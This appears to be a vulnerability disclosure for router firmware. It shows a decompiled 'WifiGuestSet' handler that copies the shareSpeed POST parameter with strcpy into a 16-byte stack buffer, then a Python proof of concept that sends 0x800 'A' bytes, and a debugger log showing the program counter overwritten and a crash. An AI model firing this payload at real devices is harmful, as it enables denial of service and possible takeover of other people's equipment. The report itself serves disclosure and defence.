

```
19
     char local_770 [16];
     char acStack1888 [16];
     undefined auStack1872 [16];
21
22
    undefined auStack1856 [32];
    char acStack1824 [256];
24
    undefined auStack1568 [256];
25
     undefined auStack1312 [256];
26
     undefined auStack1056 [256];
27
     undefined auStack800 [256];
    char acStack544 [256];
28
29
    char acStack288 [256];
30
31
    memset(acStack1936,0,0x10);
32
    memset(acStack1920,0,0x10);
33
     memset(local_770,0,0x10);
34
    memset(acStack1824,0,0x100);
35
    memset(acStack1888,0,0x10);
    memset(auStack1568,0,0x100);
36
37
    pcVar10 = "wlan0";
     puts("WiFi Guest Set");
38
39
     uVar1 = wifi_get_mibname("wlan0","workmode",auStack1568);
40
     GetValue(uVar1,acStack1936);
41
    uVar1 = wifi_get_mibname("wlan1","workmode",auStack1568);
    GetValue(uVar1,acStack1920);
43
    GetValue("bandwidth.mode.listnum",local_770);
44
    __src = websGetVar(param_1,"shareSpeed","0");
45
    strcpy(acStack1888,__src);
46
     memset(auStack1312,0,0x100);
47
    memset(auStack1056,0,0x100);
48
    memset(auStack800,0,0x100);
49
    memset(acStack544,0,0x100);
50
    memset(acStack288,0,0x100);
51
     memset(auStack1872,0,0x10);
     memset(auStack1856,0,0x20);
```

The function takes the POST parameter shareSpeed, does not validate its length, and copies it directly to a local variable acStack1888 on the stack, causing a stack overflow.

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"shareSpeed": b'A'*0x800
}

res = requests.post("http://127.0.0.1/goform/WifiGuestSet", data=data)
print(res.content)
```

debug result:

```
r: [negative ZERO CARRY overflow interrupt fast THUMB]
0xfffeed20 +0x0000:
0xfffeed24 +0x0004:
0xfffeed28 +0x0008:
0xfffeed2c
0xfffeed30 +0x000c:
+0x0010:
0xfffeed34 +0x0014:
0xfffeed38 +0x0018:
0xfffeed3c +0x001c:
    Cannot disassemble from $PC
    Cannot access memory at address 0x41414140
[#0] Id 1, stopped 0x41414140 in ?? (), reason: SIGSEGV [#1] Id 2, stopped 0xff1fd174 in ?? (), reason: SIGSEGV
gef≻
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
```